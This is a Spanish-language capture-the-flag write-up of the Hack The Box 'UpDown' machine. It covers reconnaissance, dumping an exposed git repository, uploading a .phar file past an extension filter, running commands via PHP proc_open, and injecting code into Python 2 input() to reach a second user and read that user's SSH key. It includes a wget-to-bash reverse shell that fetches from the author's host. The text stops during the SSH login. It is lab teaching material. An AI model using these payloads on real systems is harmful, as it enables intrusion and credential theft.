This page looks best with JavaScript enabled

Hack The Box - UpDown

 •  ✍️ sckull

UpDown expone el repositorio de su sitio web, tras analizar el codigo fuente del sitio identificamos que es posible ejecutar codigo PHP lo cual nos permitió acceder a un primer usuario. La funcion input() vulnerable de Python2.7 dentro de un script nos dio acceso a un segundo usuario por SSH. Finalmente escalamos privilegios por medio de easy_install de Python.

Nombre UpDown box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.177
Maker

AB2

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.2, 5.3, 5.1, 4.9, 4.7],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Wed Sep  7 13:43:17 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.177
Nmap scan report for 10.10.11.177 (10.10.11.177)
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  7 13:43:27 2022 -- 1 IP address (1 host up) scanned in 10.00 seconds

Web Site

El sitio web presenta un formulario para el ingreso de una dirección URL, esto para verificar si un sitio está disponible. Tambien, se muestra una opcion para activar el modo Debug. Además muestra un dominio en el footer.

image

Realizamos una prueba a un servidor http con python, el sitio muestra los headers y el body del sitio web al que verifica si está disponible.

image

Si observamos la solicitud con netcat no muestra algun sofware o teconología en los headers.

1
2
3
4
5
6
7
8
 π ~/htb/updown ❯ sudo nc -lvp 80
[sudo] password for sckull: 
listening on [any] 80 ...
connect to [10.10.14.207] from siteisup.htb [10.10.11.177] 39652
GET / HTTP/1.1
Host: 10.10.14.207
User-Agent: siteisup.htb
Accept: */*

Directory Brute Forcing

feroxbuster además de las direcciones ya conocidas, muestra el directorio /dev.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
π ~/htb/updown ❯ feroxbuster -u http://10.10.11.177/ -w $MD -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.177/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200       40l       93w     1131c http://10.10.11.177/index.php
301        9l       28w      310c http://10.10.11.177/dev
200        0l        0w        0c http://10.10.11.177/dev/index.php
403        9l       28w      277c http://10.10.11.177/server-status
[####################] - 33m   882180/882180  0s      found:4       errors:261    
[####################] - 33m   441090/441090  218/s   http://10.10.11.177/
[####################] - 33m   441090/441090  219/s   http://10.10.11.177/dev

Dicho directorio parece estar vacio.

1
2
3
4
5
6
7
8
 π ~/htb/updown ❯ curl -sI http://10.10.11.177/dev/
HTTP/1.1 200 OK
Date: Tue, 13 Sep 2022 22:14:47 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8

 π ~/htb/updown ❯ curl -s http://10.10.11.177/dev/ 
 π ~/htb/updown ❯

Luego de intentar con diferentes diccionarios en el sitio, descubrimos el directorio /.git.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/updown ❯ feroxbuster -u http://10.10.11.177/dev -w $CM   

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.177/dev
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        1l        2w       21c http://10.10.11.177/dev/.git/HEAD
403        9l       28w      277c http://10.10.11.177/dev/.hta
403        9l       28w      277c http://10.10.11.177/dev/.htaccess
403        9l       28w      277c http://10.10.11.177/dev/.htpasswd
200        0l        0w        0c http://10.10.11.177/dev/index.php
[####################] - 13s     4613/4613    0s      found:5       errors:0      
[####################] - 13s     4613/4613    350/s   http://10.10.11.177/dev
 π ~/htb/updown ❯

Vhosts

Además descubrimos un nuevo subdominio, dev.siteisup.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/updown ❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.siteisup.htb" -u http://siteisup.htb -fl 40

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.4.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://siteisup.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response lines: 40
________________________________________________

dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 4005ms]
:: Progress: [100000/100000] :: Job [1/1] :: 504 req/sec :: Duration: [0:04:04] :: Errors: 0 ::
 π ~/htb/updown ❯

Sin embargo este muestra que no tenemos permisos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/updown ❯ curl -s http://dev.siteisup.htb
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at dev.siteisup.htb Port 80</address>
</body></html>
 π ~/htb/updown ❯

Git Dumper

Utilizando git-dumper obtuvimos el repositorio expuesto en el sitio web.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 π ~/htb/updown ❯ /opt/git-dumper/git_dumper.py http://10.10.11.177/dev/ repo_dev
[-] Testing http://10.10.11.177/dev/.git/HEAD [200]
[-] Testing http://10.10.11.177/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://10.10.11.177/dev/.git/ [200]
[-] Fetching http://10.10.11.177/dev/.gitignore [404]
[-] http://10.10.11.177/dev/.gitignore responded with status code 404
[-] Fetching http://10.10.11.177/dev/.git/packed-refs [200]
[-] Fetching http://10.10.11.177/dev/.git/HEAD [200]
[-] Fetching http://10.10.11.177/dev/.git/description [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/ [200]
[-] Fetching http://10.10.11.177/dev/.git/objects/ [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/ [200]
[-] Fetching http://10.10.11.177/dev/.git/index [200]
[-] Fetching http://10.10.11.177/dev/.git/info/ [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/ [200]
[-] Fetching http://10.10.11.177/dev/.git/branches/ [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/remotes/ [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/heads/ [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/tags/ [200]
[-] Fetching http://10.10.11.177/dev/.git/objects/pack/ [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/objects/info/ [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/HEAD [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/refs/ [200]
[-] Fetching http://10.10.11.177/dev/.git/info/exclude [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/hooks/update.sample [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/heads/main [200]
[-] Fetching http://10.10.11.177/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://10.10.11.177/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://10.10.11.177/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://10.10.11.177/dev/.git/config [200]
[-] Fetching http://10.10.11.177/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Running git checkout .
Updated 6 paths from the index
 π ~/htb/updown ❯ 

Dev Repo

Analizando los archivos, observamos .htacces, segun la configuración de este archivo, es requerido el header Special-Dev: only4dev para acceder al sitio, seguramente con ello podemos acceder al subdominio.

1
2
3
4
5
6
7
  π repo_dev main ❯ cat .htaccess 
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

 π repo_dev main ❯ 

Utilizando el header mencionado logramos acceder al contenido del subdominio, se muestra una version similar al del dominio.

image

Observamos el codigo fuente para las paginas admin, index y checker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>
1
2
3
4
5
6
7
<?php
if(DIRECTACCESS){
        die("Access Denied");
}

#ToDo
?>
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
if(DIRECTACCESS){
        die("Access Denied");
}
?>
<!DOCTYPE html>
<html>

  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ? (beta version)</title>
  </head>

  <body>

    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
        </header>
    </div>

    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="post" enctype="multipart/form-data">
                            <label>List of websites to check:</label><br><br>
                                <input type="file" name="file" size="50">
                                <input name="check" type="submit" value="Check">
                </form>

<?php

function isitup($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, trim($url));
        curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $f = curl_exec($ch);
        $header = curl_getinfo($ch);
        if($f AND $header['http_code'] == 200){
                return array(true,$f);
        }else{
                return false;
        }
    curl_close($ch);
}

if($_POST['check']){
  
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];

        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
  
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }
  
  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }

  # Delete the uploaded file.
        @unlink($final_path);
}

function getExtension($file) {
        $extension = strrpos($file,".");
        return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
      </section>
    </div>

    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb (beta)</p><br>
        <a class="changelog" href="changelog.txt">changelog.txt</a><br>
      </footer>
    </div>

  </body>
</html>

Vemos la funcion isitup() la cual realiza una solicitud utilizando curl verificando que el codigo de respuesta del sitio sea 200, en este caso retorna un array. Asi mismo la función getExtension() que obtiene la extension de un string.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* ... ... */

function isitup($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, trim($url));
        curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $f = curl_exec($ch);
        $header = curl_getinfo($ch);
        if($f AND $header['http_code'] == 200){
                return array(true,$f);
        }else{
                return false;
        }
    curl_close($ch);
}

/* ... ... */
function getExtension($file) {
        $extension = strrpos($file,".");
        return ($extension===false) ? "" : substr($file,$extension+1);
}

En la solicitud POST del parametro check:

  • Verifica que el archivo no sea mayor a 10kb.
  • Que la extension del archivo no exista en la expresion regular.
  • Crea un nuevo directorio en /uploads utilizando md5 y la función time(), dentro de este mueve el archivo enviado (ips_list.txt).
  • Con el archivo ya en el directorio, divide el archivo en cada salto de linea, para finalmente verificar que cada linea sea una URL, de ser asi verifica la disponibilidad de este con la función isitup() segun la respuesta imprime el resultado.
  • Tras ello elimina el archivo creado.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
if($_POST['check']){
  
        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
            die("File too large!");
        }
        $file = $_FILES['file']['name'];

        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }
  
        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
            mkdir($dir, 0770, true);
        }
  
        # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

        # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }

        # Delete the uploaded file.
        @unlink($final_path);
}

User - www-data

Si observamos existe cierto limite de tiempo para acceder al archivo subido (ip_list.txt), de ser posible podriamos verificar si dentro de este es posible ejecutar codigo php tras visitar upload/<nombre_archivo_en_md5>.<extension_php>.

Como sabemos el sitio verifica que las direcciones dentro del archivo estén disponibles, si enviamos direcciones a las cuales la máquina no puede acceder podemos crear un lapso de tiempo para poder acceder al sitio (tiempo de espera de respuesta del sitio en curl). Verificamos esto en el tiempo de respuesta del sitio, 80 segundos.

image

Ahora vamos con la extension del archivo, si observamos existen ciertas extensiones que no estan permitidas.

1
2
3
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
    die("Extension not allowed!");
}

También existen distintas extensiones que podríamos utlizar para el archivo.

1
2
3
4
5
6
7
8
9
.phps
.phps
.pht
.phtm
.pgif
.shtml
.htaccess
.phar
.inc

Nuestro archivo de ips tendría el siguiente contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[.. more url ..]
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com

<?php 
echo "hello there";
?>

Intentamos con las distintas extensiones, .phar nos permitio ejecutar codigo php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 ~/htb/updown ❯ curl -s http://dev.siteisup.htb/uploads/ac7bdcb73e80004725d9d9f08bfa0fe6/file.phar -H "Special-Dev: only4dev" | tail
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
https://superdupersite.com
hello there
 π ~/htb/updown ❯

Shell

Intentamos distintas shells inversas en PHP pero ninguna ejecutaba comandos en la máquina. Un post de Acunetix nos muestra una linea de codigo que nos permite imprimir las funciones peligrosas que nos permitirían ejecutar comandos.

1
2
3
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>

Esta nos muestra proc_open, en el mismo post se refiere a la documentacion de PHP de proc_open.

1
Array ( [493] => show_source [515] => parse_ini_file [789] => proc_open [935] => curl_exec [942] => curl_multi_exec ) 

Se muestran distintas formas de ejecutar codigo con esta funcion, encontramos una solucion en StackOverflow, la cual nos permitio obtener multiples pings desde la máquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "error.txt", "a")
);

$process = proc_open('ping -c 4 10.10.14.207', $descriptorspec, $pipes);
if (is_resource($process)) {    
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    proc_close($process);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/updown ❯ sudo tcpdump -i tun1 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
23:45:47.098671 IP siteisup.htb > 10.10.14.207: ICMP echo request, id 2, seq 1, length 64
23:45:47.098694 IP 10.10.14.207 > siteisup.htb: ICMP echo reply, id 2, seq 1, length 64
23:45:48.101063 IP siteisup.htb > 10.10.14.207: ICMP echo request, id 2, seq 2, length 64
23:45:48.101082 IP 10.10.14.207 > siteisup.htb: ICMP echo reply, id 2, seq 2, length 64
23:45:49.103075 IP siteisup.htb > 10.10.14.207: ICMP echo request, id 2, seq 3, length 64
23:45:49.103095 IP 10.10.14.207 > siteisup.htb: ICMP echo reply, id 2, seq 3, length 64
23:45:50.103979 IP siteisup.htb > 10.10.14.207: ICMP echo request, id 2, seq 4, length 64
23:45:50.104009 IP 10.10.14.207 > siteisup.htb: ICMP echo reply, id 2, seq 4, length 64

Utilizamos shells para ejecutar una shell inversa utilizando wget.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "error.txt", "a")
);

$process = proc_open('wget -qO- 10.10.14.207:9090/10.10.14.207:1335|bash', $descriptorspec, $pipes);
if (is_resource($process)) {    
    fclose($pipes[0]);
    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    proc_close($process);
}

Con ello logramos obtener acceso como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/updown ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from siteisup.htb [10.10.11.177] 37696
/bin/sh: 0: can't access tty; job control turned off
$ which python
sh: 0: getcwd() failed: No such file or directory
/usr/bin/python
$ python -c 'import pty;pty.spawn("/bin/bash");'
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@updown:/var/www/dev/uploads/c1d2f9410ea974ddc7b0b250e752abc2$ whoami;pwd;id
www-data
pwd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@updown:/var/www/dev/uploads/c1d2f9410ea974ddc7b0b250e752abc2$

User - Developer

Enumerando los directorios, encontramos que el usuario www-data tiene acceso a un archivo python y un ejecutable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
www-data@updown:/home/developer/dev$ ls -lah
total 68K
drwxr-x--- 2 developer www-data  4.0K Sep 13 22:36 .
drwxr-xr-x 6 developer developer 4.0K Aug 30 11:24 ..
-rwsr-x--- 1 developer www-data   17K Jun 22 15:45 siteisup
-rwxr-x--- 1 developer www-data   154 Jun 22 15:45 siteisup_test.py
www-data@updown:/home/developer/dev$ cat siteisup_test.py
import requests

url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
        print "Website is up"
else:
        print "Website is down"
www-data@updown:/home/developer/dev$ file siteisup
siteisup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b5bbc1de286529f5291b48db8202eefbafc92c1f, for GNU/Linux 3.2.0, not stripped
www-data@updown:/home/developer/dev$

siteisup parece ejecutar el archivo de python.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

http://localhost
http://localhost
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 3, in <module>
    url = input("Enter URL here:")
  File "<string>", line 1
    http://localhost
        ^
SyntaxError: invalid syntax
www-data@updown:/home/developer/dev$

Si observamos las strings vemos que unicamente ejecuta el script.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@updown:/home/developer/dev$ strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
[.. snip ..]
.comment
www-data@updown:/home/developer/dev$

La version de python que utiliza es la 2.7, por lo que la funcion input() es vulnerable.

1
2
3
www-data@updown:/home/developer/dev$ python --version
Python 2.7.18
www-data@updown:/home/developer/dev$

Observamos que es posible ejecutar comandos como developer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application

__import__("os").system("id")
__import__("os").system("id")
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Traceback (most recent call last):
  File "/home/developer/dev/siteisup_test.py", line 4, in <module>
    page = requests.get(url)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/api.py", line 61, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 515, in request
    prep = self.prepare_request(req)
  File "/usr/local/lib/python2.7/dist-packages/requests/sessions.py", line 453, in prepare_request
    hooks=merge_hooks(request.hooks, self.hooks),
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 318, in prepare
    self.prepare_url(url, params)
  File "/usr/local/lib/python2.7/dist-packages/requests/models.py", line 392, in prepare_url
    raise MissingSchema(error)
requests.exceptions.MissingSchema: Invalid URL '0': No scheme supplied. Perhaps you meant http://0?
www-data@updown:/home/developer/dev$

Shell

Realizamos la lectura de la clave privada SSH de developer la cual nos permitio acceder por SSH y obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 π ~/htb/updown ❯ ssh -i id_rsa_developer developer@10.10.11.177
The authenticity of host '10.10.11.177 (10.10.11.177)' can't be established.
ECDSA key fingerprint is SHA256:npwXkHj+pLo3LaYR66HNCKEpU/vUoTG03FL41SMlIh0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.177' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Sep  7 22:57:32 UTC 2022

  System load:  0.0               Processes:             241
  Usage of /:   58.5% of 2.84GB   Users logged in:       0
  Memory usage: 26%               IPv4 address for eth0: 10.10.11.177
  Swap usage:   0%

 * Super-optimized for small spaces - read how we shrank the memory
